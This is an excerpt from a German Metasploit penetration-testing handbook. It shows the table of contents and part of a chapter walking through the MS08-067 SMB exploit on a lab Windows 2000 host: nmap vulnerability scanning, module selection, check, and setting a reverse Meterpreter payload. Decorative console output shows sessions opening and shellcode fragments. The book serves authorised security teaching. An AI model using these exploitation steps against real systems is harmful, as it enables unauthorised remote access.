

```
[*] Reloading module...
[*] Started reverse handler on 192.168.0.1:4444
    Using signature: 741E895C2404C7042470730508E83E53FFF831281C05B5E
    Using patch: 9090895C2404C7042470730508E83E53FFF831281C05B5E
00CD8085C0740258C331DBF7E35343556A0289E18066C08050508C0A00001
1436A6658CD805987D9807...0682F2F7368682F62696E89E350530...
Use a offset of 0x00000000
Use a buffer of 0x00000000
[*] buffer overflow (RIP2, please wait 3 seconds or press Ctrl+C)
[*] initializing and enabling RIP2, please wait 2 seconds or press Ctrl+C
[*] initializing and enabling RIP2, please wait 1 seconds or press Ctrl+C
Starting attack...
Signature found at 00167340...
Patch confirmed
[*] Sending the payload handler...
[*] Meterpreter session 2 opened (192.168.0.1:4444 -> 192.168.0.2:56349) at 2012-02-02 10:28:21.1204
```

3.
Auflage



Michael Messner

Hacking mit Metasploit

Das umfassende Handbuch
zu Penetration Testing und Metasploit

dpunkt.verlag

```
[*] Sending stage (21496 bytes) to 10.8.28.212
[*] Meterpreter session 2 opened (10.8.28.8:4444 -> 10.8.28.212:1204) at Wed Nov 03 21:43:11 +0100 2010
```

Inhalt

Cover

Titel

Impressum

Widmung

Geleitwort zur ersten Auflage

Vorwort

Inhaltsverzeichnis

1 Eine Einführung in das Pentesting und in Exploiting-Frameworks

1.1 Was ist Pentesting?

1.2 Die Phasen eines Penetrationstests

1.2.1 Phase 1 – Vorbereitung

1.2.2 Phase 2 – Informationsbeschaffung und -auswertung

1.2.3 Phase 3 – Bewertung der Informationen/Risikoanalyse

1.2.4 Phase 4 – Aktive Eindringversuche

1.2.5 Phase 5 – Abschlussanalyse

1.2.6 Eine etwas andere Darstellung

1.3 Die Arten des Penetrationstests

1.4 Exploiting-Frameworks

1.4.1 Umfang von Exploiting-Frameworks

1.4.2 Vorhandene Frameworks

1.5 Dokumentation während eines Penetrationstests

1.5.1 BasKet

1.5.2 Zim Desktop Wiki

1.5.3 Dradis

1.5.4 Microsoft OneNote

- 1.6 Überlegungen zum eigenen Testlabor
 - 1.6.1 Metasploitable v2
 - 1.6.2 MSFU-Systeme
 - 1.6.3 Testsysteme für Webapplikationsanalysen
 - 1.6.4 Foundstone-Hacme-Systeme
- 1.7 Zusammenfassung

2 Einführung in das Metasploit-Framework

- 2.1 Geschichte von Metasploit
- 2.2 Architektur des Frameworks
 - 2.2.1 Rex – Ruby Extension Library
 - 2.2.2 Framework Core
 - 2.2.3 Framework Base
 - 2.2.4 Modules
 - 2.2.5 Framework-Plugins
- 2.3 Installation und Update
- 2.4 Ein erster Eindruck – das Dateisystem
- 2.5 Benutzeroberflächen
 - 2.5.1 Einführung in die Metasploit-Konsole (msfconsole)
 - 2.5.2 Armitage
 - 2.5.3 Metasploit Community Edition
- 2.6 Globaler und modularer Datastore
- 2.7 Einsatz von Datenbanken
- 2.8 Workspaces
- 2.9 Logging und Debugging
- 2.10 Zusammenfassung

3 Die Pre-Exploitation-Phase

- 3.1 Die Pre-Exploitation-Phase
- 3.2 Verschiedene Auxiliary-Module und deren Anwendung

- 3.2.1 Shodan-Suchmaschine
- 3.2.2 Internet Archive
- 3.2.3 Analyse von der DNS-Umgebung
- 3.2.4 Discovery-Scanner
- 3.2.5 Portscanner
- 3.2.6 SNMP-Community-Scanner
- 3.2.7 VNC-Angriffe
- 3.2.8 Windows-Scanner
- 3.2.9 SMB-Login-Scanner
- 3.2.10 Weitere Passwortangriffe

3.3 Netcat in Metasploit (Connect)

3.4 Zusammenfassung

4 Die Exploiting-Phase

- 4.1 Einführung in die Exploiting-Thematik
- 4.2 Metasploit-Konsole – msfconsole
- 4.3 Metasploit Community Edition
- 4.4 Zusammenfassung

5 Die Post-Exploitation-Phase: Meterpreter-Kung-Fu

- 5.1 Grundlagen – Was zur Hölle ist Meterpreter?
- 5.2 Eigenschaften
- 5.3 Grundfunktionalitäten
- 5.4 Post-Exploitation-Module und Meterpreter-Skripte
 - 5.4.1 Post-Information Gathering
 - 5.4.2 VNC-Verbindung
 - 5.4.3 Netzwerk-Enumeration
 - 5.4.4 Weiteren Zugriff sicherstellen
- 5.5 Timestomp
- 5.6 Windows-Privilegien erweitern

- 5.7 Programme direkt aus dem Speicher ausführen
- 5.8 Meterpreter-Erweiterungsmodule
- 5.9 Pivoting
 - 5.9.1 Portforwarding
 - 5.9.2 Routen setzen
 - 5.9.3 Weitere Pivoting-Möglichkeiten
- 5.10 IRB und Railgun in der Post-Exploitation-Phase
- 5.11 Systemunabhängigkeit des Meterpreter-Payloads
- 5.12 Zusammenfassung

6 Automatisierungsmechanismen und Integration von 3rd-Party-Scannern

- 6.1 Ganz nüchtern betrachtet
- 6.2 Pre-Exploitation-Phase
 - 6.2.1 Scanning in der Pre-Exploitation-Phase
 - 6.2.2 Automatisierte Passwortangriffe
- 6.3 Einbinden externer Scanner
 - 6.3.1 Nmap-Portscanner
 - 6.3.2 Nessus-Vulnerability-Scanner
 - 6.3.3 NeXpose-Vulnerability-Scanner
- 6.4 Armitage
- 6.5 IRB und Ruby-Grundlagen
- 6.6 Erweiterte Metasploit-Resource-Skripte
- 6.7 Automatisierungsmöglichkeiten in der Post-Exploitation-Phase
 - 6.7.1 Erste Möglichkeit: über die erweiterten Payload-Optionen
 - 6.7.2 Zweite Möglichkeit: über das Session-Management
 - 6.7.3 Dritte Möglichkeit: Post-Module
- 6.8 Zusammenfassung

7 Spezielle Anwendungsgebiete

- 7.1 Webapplikationen analysieren

7.1.1 Warum Webanwendungen analysiert werden müssen

7.1.2 Wmap

7.1.3 Remote-File-Inclusion-Angriffe mit Metasploit

7.1.4 Arachni Web Application Security Scanner Framework und Metasploit

7.2 Datenbanken analysieren

7.2.1 MS-SQL

7.2.2 Oracle

7.2.3 MySQL

7.2.4 PostgreSQL

7.3 Virtualisierte Umgebungen

7.3.1 Metasploit im Einsatz

7.3.2 Directory Traversal

7.4 IPv6-Grundlagen

7.5 IPv6-Netzwerke analysieren

7.6 Zusammenfassung

8 Client-Side Attacks

8.1 Sehr bekannte Client-Side-Angriffe der letzten Jahre

8.1.1 Aurora – MS10-002

8.1.2 Browserangriffe automatisieren via browser_autopwn

8.2 Remote-Zugriff via Cross-Site-Scripting

8.2.1 XSSF – Management von XSS Zombies mit Metasploit

8.2.2 Von XSS zur Shell

8.3 Angriffe auf Client-Software über manipulierte Dateien

8.4 Ein restriktives Firewall-Regelwerk umgehen

8.5 Zusammenfassung

9 Weitere Anwendung von Metasploit

9.1 Einen externen Exploit über Metasploit kontrollieren

9.1.1 Multi-Handler – Fremde Exploits in Metasploit aufnehmen

9.1.2 Plaintext-Session zu Meterpreter upgraden

9.2 Pass the Hash

9.3 SET – Social Engineer Toolkit

9.3.1 Überblick

9.3.2 Update

9.3.3 Beispielanwendung

9.4 BeEF – Browser-Exploitation-Framework

9.5 Die Metasploit Remote API

9.6 vSploit

9.7 Metasploit Vulnerability Emulator

9.8 Tools

9.9 Zusammenfassung

10 Forschung und Exploit-Entwicklung – Vom Fuzzing zum 0 Day

10.1 Die Hintergründe

10.2 Erkennung von Schwachstellen

10.2.1 Source-Code-Analyse

10.2.2 Reverse Engineering

10.2.3 Fuzzing

10.3 Auf dem Weg zum Exploit

10.4 EIP – Ein Register, sie alle zu knechten ...

10.5 MSFPESCAN

10.6 MSF-Pattern

10.7 Der Sprung ans Ziel

10.8 Ein kleiner Schritt für uns, ein großer Schritt für den Exploit

10.9 Kleine Helferlein

10.10 Ein Metasploit-Modul erstellen

10.11 Immunity Debugger mit Mona – Eine Einführung

- 10.12 Die Applikation wird analysiert – Auf dem Weg zum SEH
 - 10.12.1 Ein (Structured) Exception Handler geht seinen Weg
 - 10.12.2 Mona rockt die Entwicklung eines Metasploit-Moduls
- 10.13 Bad Characters auffinden
- 10.14 Command Injection auf Embedded Devices
 - 10.14.1 Exploit per Download und Execute
 - 10.14.2 Exploit per CMD-Stager
- 10.15 An der Metasploit-Entwicklung aktiv teilnehmen
- 10.16 Zusammenfassung

11 Evading-Mechanismen

- 11.1 Antivirus Evading
- 11.2 Trojanisieren einer bestehenden Applikation
- 11.3 Weitere Post-Exploitation-Tätigkeiten
- 11.4 IDS Evading
 - 11.4.1 NOP-Generatoren
 - 11.4.2 Im Exploit integrierte Evading-Funktionalitäten
 - 11.4.3 Evading-Funktionen vorhandener Exploits
 - 11.4.4 Erweiterte Evading-Funktionen durch den Einsatz von Fragroute
 - 11.4.5 Das IPS-Plugin
- 11.5 Fazit

12 Metasploit Express und Metasploit Pro im IT-Sicherheitsprozess

- 12.1 Metasploit Express und Metasploit Pro
- 12.2 Metasploit Express
- 12.3 Metasploit Pro
- 12.4 Zusammenfassung

13 Cheat Sheet

- 13.1 Vorbereitungsarbeiten und Bedienung des Frameworks
 - 13.1.1 Datastores

13.1.2 Datenbankabfragen im Rahmen eines Penetrationstests

13.1.3 Workspaces verwalten

13.1.4 Logging aktivieren

13.1.5 Metasploit-Ergebnisse exportieren

13.2 Anwendung eines Moduls

13.3 Post-Exploitation-Phase

13.3.1 Spuren verwischen

13.3.2 Pivoting bzw. in weitere Netzwerke vordringen

13.3.3 Lokale Privilege Escalation

13.3.4 Domain Privilege Escalation

13.4 Automatisierungsmechanismen

13.5 Nmap Cheat Sheet

13.6 Client-Side Attacks

13.6.1 Trojanisieren einer bestehenden Applikation und AV Evading

13.6.2 Ein restriktives Firewall-Regelwerk umgehen

Anhang

Literaturverzeichnis und weiterführende Links

Schlusswort

Index

4 Die Exploiting-Phase

Bereits bei der Durchsicht des Inhaltsverzeichnisses wird den meisten Lesern aufgefallen sein, dass der Exploiting-Bereich dieses Buches einen relativ kleinen Teil im Vergleich zum gesamten Buchumfang einnimmt. Dies liegt daran, dass die Anwendung eines Exploits zwar eine der kritischsten und verantwortungsvollsten, aber keine sehr schwere Aufgabe ist. Die eigentliche Herausforderung liegt in der Erkennung und Einschätzung einer Schwachstelle und in der nachfolgenden Post-Exploitation-Phase. Konnten eine Schwachstelle und deren Rahmenparameter korrekt ermittelt werden, gibt es typischerweise nur sehr wenig Möglichkeiten, den Exploiting-Vorgang zu optimieren. Vorausgesetzt, es gibt bereits einen Exploit im Metasploit-Framework. Muss erst ein Modul entwickelt werden, dauert der Vorgang erheblich länger (siehe Kapitel 10).

Im Rahmen des folgenden Abschnitts werden zwei sehr bekannte Exploits, die in den letzten Jahren Windows- und Unix-Betriebssysteme betroffen haben, zur Anwendung gebracht.

Nachdem das Framework häufig auch eine Möglichkeit eines Vorabtests einer möglichen Schwachstelle umfasst, wird diese Funktionalität im Rahmen der durchgeführten Exploiting-Vorgänge mitgetestet.

Abschließend werden die Möglichkeiten betrachtet, die das integrierte Session-Management zur Verwaltung erfolgreich angegriffener Systeme bietet.

4.1 Einführung in die Exploiting-Thematik

Exploits sind das eigentliche Herzstück eines jeden Exploiting-Frameworks. Im Rahmen dieses Buches ist zwar eindeutig erkennbar, dass die weiteren Teilbereiche des Frameworks nahezu den gleichen wenn nicht sogar höheren Stellenwert besitzen, aber Exploits ermöglichen den Zugriff auf ein System. Jedes Exploiting-Framework umfasst eine hohe Anzahl unterschiedlichster

Exploits. Typische Remote-Exploits, die über das Netzwerk nutzbar sind, umfassen nur einen Teilbereich dieser Ansammlung. Neben ihnen sind eine Vielzahl an Client-Side-Exploits, die Schwachstellen in Client-Software nutzen, sowie Privilege-Escalation-Exploits, die als Zielsetzung die Erweiterung der bereits erlangten Rechte haben, integriert. In diesem Kapitel werden ausschließlich Remote-Exploits betrachtet.

Metasploit integriert in der aktuellen Version 4.14.1-dev knapp 1600 unterschiedliche Exploits, die über die vorhandenen Oberflächen meist intuitiv und in Kombination mit weiteren Modulen eingesetzt werden können. Wie im folgenden Listing dargestellt wird, umfasst Metasploit derzeit zudem über 900 Auxiliary- und mehr als 470 Payload-Module. Hinzu kommen 9 unterschiedliche NOP-Generatoren, die in Abschnitt 11.4.1 dargestellt werden, und 282 Post-Exploitation-Module.

```
=[ metasploit 4.14.1-dev ]  
  
+ --      =[ 1628 exploits - 927 auxiliary - 282 post      ]  
  
+ --      =[ 472 payloads - 39 encoders - 9 nops          ]
```

Listing 4-1 *Metasploit Module*

Bei den folgenden Vorgängen handelt es sich bereits um die Phase 4 des in Abschnitt 1.2 vorgestellten Pentesting-Phasenmodells des BSI. Im Rahmen dieser Phase ist es häufig überaus wichtig, keine zu offensive Vorgehensweise zu wählen. Typische Exploiting-Vorgänge bzw. -Versuche hinterlassen den angegriffenen Dienst oftmals in einem inkonsistenten bzw. nicht weiter verwendbaren Zustand. Oftmals stürzt dadurch der Dienst oder gar das ganze System ab und muss neu gestartet werden. Aus diesem Grund sollte jeder Versuch eines Exploiting-Vorgangs vorab genau überlegt und soweit möglich geprüft und kommuniziert werden. Details zu den Exploits, die in der Modulinformation und in den weiteren Ressourcen dargestellt sind, sollten vor einem Exploiting-Vorgang unbedingt beachtet werden. In diesen Informationen werden oftmals auch Probleme beschrieben, und es wird auf mögliche Systemabstürze hingewiesen. In kritischen Systemumgebungen fließen bei solchen Überlegungen unterschiedlichste Faktoren ein – Beispiele sind die Unternehmensbedeutung des Systems und/oder des Dienstes. Zudem sollte

betrachtet werden, ob Wiederherstellungsprozesse (Disaster Recovery) für die anzugreifenden Systeme vorhanden sind.

Exploit Ranking

Metasploit umfasst seit Version 3.3.2 eine Bewertung bzw. ein Ranking (manual | low | average | normal | good | great | excellent) der vorhandenen Exploits [95]:

- **Excellent:** Wenn ein Exploit niemals den angegriffenen Dienst zum Absturz bringen wird, sollte der Exploit mit diesem Ranking versehen werden. Beispiele hierfür wären SQL-Injection, CMD-Execution, RFI, LFI usw. Im Normalfall bekommt kein typischer Memory-Corruption-Exploit dieses Ranking.
- **Great:** Wenn ein Exploit ein Default-Target aufweist oder imstande ist, das Ziel zu erkennen und dementsprechend automatisch ein Target auszuwählen. Zudem kommt dieses Ranking zum Einsatz, wenn eine für die Applikation spezifische Sprungadresse, die mit einem Versionscheck ermittelbar ist, genutzt wird.
- **Good:** Wenn ein Exploit ein Default-Target aufweist und dieses den typischerweise vorgefundenen Fall des Zielsystems darstellt. Beispielsweise englische Sprachversion und Windows XP für Desktop-Systeme und Windows 2003 für Serversysteme.
- **Normal:** Wenn ein Exploit typischerweise verlässlich ist, allerdings spezielle Einstellungen benötigt, die sich nicht mit einer automatischen Erkennung des Zielsystems ermitteln lassen.
- **Average:** Wenn ein Exploit im Normalfall nicht verlässlich ist bzw. wenn der Exploiting-Vorgang schwer umzusetzen ist.
- **Low:** Ein Exploit ist nahezu unmöglich bzw. weist eine Erfolgsquote von unter 50 % auf.
- **Manual:** Wenn der Exploit nahezu unmöglich ist und im Normalfall einen Denial-of-Service-Zustand auslöst. Dieses Ranking wird auch verwendet, wenn der Exploit ohne eine spezielle Konfiguration keinen weiteren Sinn hat.

Bevor der erste Exploit in diesem Abschnitt angewendet wird, wird noch dargestellt, welche Schritte ein solcher Exploiting-Vorgang umfasst und welche Schritte davor und danach umgesetzt werden können.

1. Im ersten Schritt muss die Schwachstelle korrekt identifiziert werden.

2. Ein passender Exploit muss im Framework vorhanden sein.
 - a) Alternativ muss ein passender Exploit über weitere Bezugsquellen gesucht werden.
 - b) Alternativ muss ein passender Exploit entwickelt werden.
3. Auswahl des Exploits
4. Konfiguration der benötigten Grundparameter, wie Zielsystem und Zielport.
5. Konfiguration weiterer Parameter zur Optimierung des Exploits.
Beispielsweise müssen an dieser Stelle spezielle Versionen, Service-Packs und Sprachversionen berücksichtigt werden.
 - a) Unter Umständen muss dabei der Exploit umprogrammiert werden.
6. Auswahl und Konfiguration eines Payloads
 - a) Je nach Payload muss evtl. ein lokaler Dienst zur Aufnahme der Verbindung konfiguriert und gestartet werden.
7. Anwendung des Exploits
8. Post-Exploitation-Phase – Kapitel 5
 - a) Erkennung weiterer Systeme
 - b) evtl. Start bei Schritt 1

Der dargestellte Ablauf stellt einen typischen Exploiting-Vorgang dar – von der Erkennung einer Schwachstelle bis zur Post-Exploitation-Phase. Im praktischen Anwendungsfall können sich unterschiedliche Schritte verschieben oder nicht bzw. in geänderter Form stattfinden.

Die folgenden Abschnitte stellen typische Exploiting-Vorgänge unter Einsatz der am häufigsten verwendeten Interfaces, der Metasploit-Konsole (*msfconsole*) und der Community Edition dar. In Abschnitt 6.4 werden zudem weitere Features der Armitage-GUI vorgestellt und im Rahmen eines möglichst automatisierten Penetrationstests in der Laborumgebung getestet.

4.2 Metasploit-Konsole – msfconsole

Im folgenden Abschnitt kommt es zur detaillierten Anwendung eines Exploits über die Metasploit-Konsole (*msfconsole*). Wie bereits in Abschnitt 2.5.1 dargestellt wurde, handelt es sich bei dieser Oberfläche wohl um das am meisten genutzte Interface von Metasploit. Es unterstützt Tab Completion,

Hilfefunktionen, lässt das Nachladen weiterer Module zu und ist schnell und flüssig zu bedienen.

- Betriebssystem: Windows-2000-Serversystem
- Patchlevel: SP3
- Dienst: SMB
- Ausgenutzte Schwachstelle: MS08-067 [96] /CVE-2008-4250 [97]
- Metasploit-Modul: *ms08_067_netapi* [98]

Dieser Abschnitt beschäftigt sich mit einer Schwachstelle, die im Microsoft Bulletin MS08-067 detailliert beschrieben wird. Über diese Schwachstelle ist es möglich, Remote-Zugriff auf ein Windows-System zu erlangen. Wie in Abbildung 4-1 dargestellt, wird dieses Sicherheitsproblem von Microsoft als hoch bis kritisch eingestuft.

Betriebssystem	Maximale Sicherheitsauswirkung	Bewertung des Gesamtschweregrads
Microsoft Windows 2000 Service Pack 4	Remotecodeausführung	Kritisch
Windows XP Service Pack 2	Remotecodeausführung	Kritisch
Windows XP Service Pack 3	Remotecodeausführung	Kritisch
Windows XP Professional x64 Edition	Remotecodeausführung	Kritisch
Windows XP Professional x64 Edition Service Pack 2	Remotecodeausführung	Kritisch
Windows Server 2003 Service Pack 1	Remotecodeausführung	Kritisch
Windows Server 2003 Service Pack 2	Remotecodeausführung	Kritisch
Windows Server 2003 x64 Edition	Remotecodeausführung	Kritisch
Windows Server 2003 x64 Edition Service Pack 2	Remotecodeausführung	Kritisch
Windows Server 2003 mit SP1 für Itanium-basierte Systeme	Remotecodeausführung	Kritisch
Windows Server 2003 mit SP2 für Itanium-basierte Systeme	Remotecodeausführung	Kritisch
Windows Vista und Windows Vista Service Pack 1	Remotecodeausführung	Hoch
Windows Vista x64 Edition und Windows Vista x64 Edition Service Pack 1	Remotecodeausführung	Hoch
Windows Server 2008 für 32-Bit-Systeme*	Remotecodeausführung	Hoch
Windows Server 2008 für x64-basierte Systeme*	Remotecodeausführung	Hoch
Windows Server 2008 für Itanium-basierte Systeme	Remotecodeausführung	Hoch

Abb. 4-1 MS08-067 – Betroffene Systeme und die Auswirkungen [96]

Ende des Jahres 2008/Anfang 2009 rückte die dargestellte Schwachstelle durch den *Conficker*-Wurm in regelmäßigen Abständen in die Medien. Vor allem durch das scheinbar nachlässige Patchverhalten vieler Systembetreuer konnte sich Conficker bis in das späte Jahr 2009 in hohem Maße verbreiten. An dieser Stelle muss auf die hohe Relevanz eines einwandfrei funktionierenden und zeitnahen Patchmanagements hingewiesen werden. Probleme, wie sie von dieser Schwachstelle ausgehen bzw. durch den Conficker-Wurm ausgelöst wurden,

entstehen nicht, wenn in einem Unternehmen sauber definierte Prozesse zur System- und Softwareaktualisierung vorhanden sind und auch korrekt und zeitnah umgesetzt werden.

Aufgrund dieser sehr interessanten, aber nicht besonders ruhmreichen Vergangenheit, des hohen Verbreitungsgrades und der enormen Gefahr, die von dieser Schwachstelle ausgeht, stellt diese ein sehr gutes Beispiel dar, um verfügbare Exploits praktisch anzuwenden.

Hinweis: Windows 2000 eignet sich besonders gut für erste Versuche. Die fehlenden Sicherheitsmechanismen ermöglichen häufig auch mehrere Exploiting-Vorgänge, ohne dass das System abstürzt.

Schwachstellenerkennung

Einer der ersten Schritte eines typischen Penetrationstests ist die Erkennung des Zielsystems inklusive aller verfügbaren Dienste. Hierfür kommt häufig *Nmap* mit seiner System- und Diensterkennung zum Einsatz. Für solche Aufgaben sind die *Nmap*-Optionen `-A` oder `-sV` und `-O` üblicherweise sehr hilfreich. Weitere Informationen zu diesen und weiteren Optionen lassen sich in der *Nmap*-Hilfe finden [99]. Seit Version 5.0 verfügt *Nmap* über die *Nmap Scripting Engine (NSE)* und beinhaltet ein Skript für die Erkennung der in diesem Abschnitt genutzten Schwachstelle [100]. Ein Scanvorgang, der *Nmap* veranlasst, einen ganzen Netzwerkbereich auf die Schwachstelle zu testen, lässt sich beispielsweise mit folgendem Aufruf durchführen:

```
root@bt:~# nmap -sV -p445 --script=smb-vuln-* 10.8.28.0/24
```

```
Starting Nmap 5.51 (http://nmap.org ) at 2011-07-03 13:26 CEST
```

```
Nmap scan report for localhost (10.8.28.244)
```

```
Host is up (0.0013s latency).
```

```
PORT      STATE SERVICE
```

```
445/tcp open  microsoft-ds Microsoft Windows 2000 microsoft-ds
```

```
MAC Address: 00:0C:29:11:E6:04 (VMware)
```

```
Host script results:
```

```
| smb-check-vulns:
|
| MS08-067: VULNERABLE
|
| Conficker: Likely CLEAN
```

```
<snip>
```

Listing 4-2 Nmap-Portscan mit NSE

Die System- und Diensterkennung liefert die benötigten Details über das eingesetzte Betriebssystem und die offenen Ports mit Versionsdetails sowie auch eine erste Einschätzung, ob das geprüfte System die Schwachstelle (MS08-067) aufweist.

Modulsuche und Auswahl

Der Einsatz des Metasploit-Exploiting-Frameworks beginnt mit der Suche nach einem passenden Exploit.

```
msf > search type:exploit ms08-067
```

```
Matching Modules
```

```
=====
```

Name	Disclosure Date	Rank	
exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Microsoft Server
			Service Relative Path Stack Corruption

Listing 4-3 Exploit-Suche

Da die von diesem Exploit benötigten Speicheradressen vom eingesetztem Service Pack des Windows-Systems abhängig sind und sich zusätzlich noch

zwischen den einzelnen Sprachversionen unterscheiden, muss dieser Exploit sehr stark auf die Zielumgebung optimiert sein. Metasploit bringt dafür bereits mehrere vordefinierte »Targets« mit und ermöglicht meist eine einfache Anwendung der Exploits. Ein Exploiting-Vorgang mit manueller Auswahl des Zielsystems wird in Listing 4–12 dargestellt.

Im ersten Schritt wird der Exploit mit `use <Name des EXPLOITS>` ausgewählt. Die Eingabeaufforderung ändert sich in den Exploit-Modus und zeigt dabei den Namen des ausgewählten Moduls an.

```
msf > use exploit/windows/smb/ms08_067_netapi
```

```
msf exploit(ms08_067_netapi) >
```

Listing 4–4 Auswahl des Exploits

Informationen und Optionen

Mit dem Kommando `info` ist es möglich, alle vorhandenen Details des Exploits abzurufen. Zu diesen Informationen zählen neben dem vollständigen Namen auch die möglichen Zielsysteme (Available Targets), benötigte Optionen und eine Detailbeschreibung mit weiteren vorhandenen Online-Ressourcen.

Im Vorfeld der Anwendung eines jeden Exploit-Moduls sollten diese Daten gesichtet und geprüft werden. Aus diesen Details lassen sich neben einer Vielzahl weiterer Informationen oftmals auch vorhandene Stabilitätsprobleme und mögliche Abstürze des Zielsystems frühzeitig erkennen.

```
msf exploit(ms08_067_netapi) > info
```

```
    Name: Microsoft Server Service Relative Path Stack Corruption
```

```
    Module: exploit/windows/smb/ms08_067_netapi
```

```
    Platform: Windows
```

```
    Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
```

Rank: Great

Provided by:

hdm <hdm@metasploit.com>

Brett Moore <brett.moore@insomniasec.com>

staylor

Available targets:

Id Name

-- --

- 0 Automatic Targeting
- 1 Windows 2000 Universal
- 2 Windows XP SP0/SP1 Universal
- 3 Windows XP SP2 English (NX)
- 4 Windows XP SP3 English (NX)
- 5 Windows 2003 SP0 Universal
- 6 Windows 2003 SP1 English (NO NX)
- 7 Windows 2003 SP1 English (NX)
- 9 Windows 2003 SP2 English (NO NX)
- 10 Windows 2003 SP2 English (NX)
- 11 Windows 2003 SP2 German (NO NX)
- 12 Windows 2003 SP2 German (NX)

<snip>

61 Windows 2003 SP2 Japanese (NO NX)

Basic options:

Name	Current Setting	Required	Description
--	-----	----	----
RHOST		yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload information:

Space: 400

Avoid: 8 characters

Description:

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. **This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing.** Windows XP targets seem to handle multiple successful exploitation events, but **2003 targets will often crash or hang on subsequent attempts.** This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

References:

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250>

<http://www.microsoft.com/technet/security/bulletin/MS08-067.msp>

NEXPOSE (dcerpc-ms-netapi-netpathcanonicalize-dos)

Listing 4-5 *Detaillierte Exploit-Informationen*

Um zudem die aktuellen Konfigurationswerte anzuzeigen, gibt es den Befehl `show options`, dieser reduziert die Darstellung ausschließlich auf die notwendigen und für den Einsatz des Moduls benötigten und die aktuell gesetzten Konfigurationswerte. Manche Optionen sind bereits mit sinnvollen Default-Werten gesetzt. Im folgenden Listing ist die Option `RPORT` beispielsweise bereits vorab auf den typischen Windows-SMB-Port 445 gesetzt. Optionen, bei denen die Spalte *Required* auf »yes« steht, müssen zwingend vor der Ausführung des Exploits gesetzt werden.

```
msf exploit(ms08_067_netapi) > show options
```

```
Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
--	-----	----	----
RHOST		yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

```
Exploit target:
```

Id	Name
--	--

Listing 4-6 *Exploit-Optionen*

Neben den typischen Basisoptionen unterstützen Module häufig weitere Möglichkeiten der Konfiguration. Mit diesen zusätzlichen Optionen lassen sich typischerweise spezielle Eigenschaften eines Moduls und des Payloads steuern. Zu diesen zählen die Steuerung des lokalen Payload-Handlers, Timeout-Werte, Proxies, SSL und vieles mehr.

Soll ein bislang unbekanntes Modul zur Anwendung gebracht werden, wird ein Blick in diese Optionen, die mit `show advanced` aufrufbar sind, unbedingt empfohlen.

Check-Funktion

Idealerweise bringt ein Exploiting-Modul eine Möglichkeit mit, die imstande ist, eine potenzielle Schwachstelle vorab zu verifizieren. Damit kann der Pentester prüfen, ob die Schwachstelle auf dem System vorhanden ist und ob sich der Exploit auch tatsächlich einsetzen lässt. Lassen sich solche Tests vorab durchführen, wird einem potenziellen Dienst- bzw. unter Umständen sogar einem Systemabsturz erheblich vorgebeugt, wodurch der Exploiting-Vorgang und der ganze Pentest erheblich zuverlässiger wird.

Metasploit bietet diese Möglichkeit bereits bei einigen Exploits durch die `check`-Funktion an, implementiert dies allerdings noch nicht durchgehend bei allen Modulen.

Derzeit ermöglichen rund 650 Exploit-Module eine solche Vorab-Überprüfung der Schwachstelle. Folgender Aufruf auf der Linux-Konsole zeigt alle Exploits, die diese Methode der Überprüfung mitbringen:

```
root@bt:/MSF-Path/msf3# grep -r 'def check$' modules/exploits | sort -u
```

Um vor dem Angriff auf ein Windows-System eine Prüfung der Schwachstelle durchzuführen, sind unter anderem die folgenden Module mit einer solchen `check`-Methode ausgestattet:

- `ms00_094_pbserver`
- `ms01_023_printer`
- `ms01_026_dbldecode`

- ms02_039_slammer
- ms02_056_hello
- ms03_007_ntdll_webdav
- ms03_022_nsiislog_post
- ms03_046_exchange2000_xexch50
- ms03_051_fp30reg_chunked
- ms04_045_wins
- ms05_039_pnp
- ms08_067_netapi
- ms09_004_sp_replwritetovarbin
- ms09_004_sp_replwritetovarbin_sqli

Um das potenzielle Zielsystem auf die Schwachstelle zu testen, reicht es aus, den RHOST anzugeben und anschließend das Kommando check auszuführen.

```
msf exploit(ms08_067_netapi) > set RHOST 10.8.28.244
```

```
RHOST => 10.8.28.244
```

```
msf exploit(ms08_067_netapi) > check
```

```
[*] Verifying vulnerable status... (path: 0x0000005a)
```

```
[+] The target is vulnerable.
```

Listing 4-7 MS08-067-Check-Funktion

Tip: Um mehrere Hosts mit dem Check-Kommando auf eine Schwachstelle zu prüfen ist es möglich dieses folgendermaßen zu nutzen: »check 192.168.1.1-192.168.1.100« oder »check 192.168.1.0/24«

Payload

Nachdem das Zielsystem ermittelt wurde, kommt es zur Auswahl eines Payloads. Unterschiedliche Arten von Payloads wurden bereits in Abschnitt 1.4.1 kurz vorgestellt. Im folgenden Beispiel wird ein Reverse-Meterpreter-Payload eingesetzt. Als Typ der Shell kommt bei diesem Payload die Metasploit-Shell *Meterpreter* zum Einsatz, die im folgenden Kapitel 5 detailliert vorgestellt wird.

Der zu verwendende Payload wird mit `set PAYLOAD <PAYLOAD>` ausgewählt. Auch an dieser Stelle ist die Funktionalität der Auto-Completion äußerst hilfreich. Um vorab bereits einen Überblick möglicher Payloads zu erhalten, lässt sich mit dem Befehl `show payloads` oder mit `search type:payloads` eine Auflistung aller vorhandenen Payloads ausgeben.

```
msf exploit(ms08_067_netapi) > show payloads
```

```
Compatible Payloads
```

```
=====
```

Name	Rank	Description
--	--	----
windows/meterpreter/bind_tcp Meterpreter (Reflective Injection), Bind TCP Stager	normal	Windows
windows/meterpreter/reverse_https Meterpreter (Reflective Injection), Reverse HTTPS Stager	normal	Windows
windows/meterpreter/reverse_tcp Meterpreter (Reflective Injection), Reverse TCP Stager	normal	Windows
windows/meterpreter/reverse_tcp_allports Meterpreter (Reflective Injection), Reverse All-Port TCP Stager	normal	Windows

```
<snip>
```

```
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
```

```
PAYLOAD => windows/meterpreter/reverse_tcp
```

```
msf exploit(ms08_067_netapi) > set LHOST 10.8.28.8
```

```
LHOST => 10.8.28.9
```

Listing 4-8 Auswahl und Setzen eines Payloads

